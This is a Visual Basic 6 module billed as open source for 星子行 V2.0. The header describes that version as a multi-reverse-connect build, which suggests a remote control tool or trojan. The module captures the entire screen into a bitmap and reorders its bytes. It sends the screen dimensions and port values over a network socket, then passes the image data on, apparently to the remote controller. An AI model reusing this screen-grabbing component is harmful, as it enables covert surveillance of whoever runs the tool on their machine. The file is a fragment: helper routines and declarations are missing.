sam24.bas

星子行V2.0(源码)公开星子行V3.0以上版本,都是由星子行V1.0和星子行V2.0的核心结合而开发成的! 星子行V1.0是单反接正法,星子行V2.0是多反接法,星子行V3.0以上版本都是多反

Attribute VB_Name = "Sam24"

Option Explicit



Private BmpBinary() As Byte

Private BmpInfo As BitMapInfo

Private bmpheight As Long
Private bmpwidth As Long

Private Mem As Long
Dim dc As Long
Dim BmpHandle As Long

Dim savedc As Long


Public Sub M16xx(port1 As Long, port2 As Long)


Dim Bif As BITMAPFILEHEADERX
Dim Bih As BITMAPINFOHEADER
Dim bmpsize As Long
Dim Bmp As BITMAP



dc = GetDC(0&)   '获取整个屏幕的设备场景


bmpwidth = GetDeviceCaps(dc, HORZRES)  '根据指定设备场景代表的设备的功能返回信息
bmpheight = GetDeviceCaps(dc, VERTRES)
BmpHandle = CreateCompatibleBitmap(dc, bmpwidth, bmpheight) '创建一幅与设备有关位图，它与指定的设备场景兼容
Mem = CreateCompatibleDC(dc)  '创建一个与特定设备场景一致的内存设备场景

savedc = SelectObject(Mem, BmpHandle) '每个设备场景都可能有选入其中的图形对象。
                            '其中包括位图、刷子、字体、画笔以及区域等等。
                            '一次选入设备场景的只能有一个对象。选定的对象会在设备场景的绘图操作中使用。
                            '例如，当前选定的画笔决定了在设备场景中描绘的线段颜色及样式
                            
 
 GetObject BmpHandle, Len(Bmp), Bmp '取得对指定对象进行说明的一个结构
bmpsize = Bmp.bmWidthBytes * Bmp.bmHeight
With Bih
  .biBitCount = Bmp.bmBitsPixel
  .biClrImportant = 0
  .biClrUsed = 0
  .biCompression = BI_RGB
  .biHeight = Bmp.bmHeight
  .biPlanes = 1
  .biSize = Len(Bih)
  .biSizeImage = bmpsize
  .biWidth = Bmp.bmWidth
  .biXPelsPerMeter = 0
  .biYPelsPerMeter = 0
End With
With Bif
  .bfOffBits = 54
  .bfReserved1 = .bfReserved2 = 0
  .bfType = IsBitmapFile
  .bfSize = 54 + bmpsize
End With
BmpInfo.bmiHeader = Bih
ReDim BmpBinary(bmpsize) As Byte

'将来自一幅位图的二进制位复制到一幅与设备无关的位图里


'清理操操作



 Dim su(6) As Long
     su(0) = bmpsize
     su(1) = Bmp.bmWidth
     su(2) = Bmp.bmHeight
     su(3) = port1
     su(4) = port2
     su(5) = Bmp.bmWidthBytes
     su(6) = Bmp.bmBitsPixel
     Dim ok As String
    
     ok = su(0) & "-" & su(1) & "-" & su(2) & "-" & su(3) & "-" & su(4) & "-" & su(5) & "-" & su(6) & "-" & "0"
    
     Main.Scmnet5.SendData ok
     
     se = 160



   Main.Timer3.Enabled = True




End Sub


Public Sub m16xy()

 BitBlt Mem, 0, 0, bmpwidth, bmpheight, dc, 0, 0, SRCCOPY

GetDIBits Mem, BmpHandle, 0, BmpInfo.bmiHeader.biHeight, BmpBinary(0), BmpInfo, DIB_RGB_COLORS



Dim x As Long
Dim y As Long
Dim z As Long

Dim bmp16x() As Byte
ReDim bmp16x(BmpInfo.bmiHeader.biSizeImage)
z = BmpInfo.bmiHeader.biSizeImage / 2

For x = 0 To (BmpInfo.bmiHeader.biSizeImage - 3) Step 2

bmp16x(y) = BmpBinary(x)
bmp16x(z) = BmpBinary(x + 1)
y = y + 1
z = z + 1

Next
bmp16x(BmpInfo.bmiHeader.biSizeImage) = BmpBinary(BmpInfo.bmiHeader.biSizeImage)

Call one(bmp16x(), BmpInfo.bmiHeader.biSizeImage)











'main.Scmnet5.SendData BmpBinary
End Sub



Public Sub m16xz()

SelectObject Mem, savedc
ReleaseDC 0, dc
DeleteObject BmpHandle
DeleteDC Mem


End Sub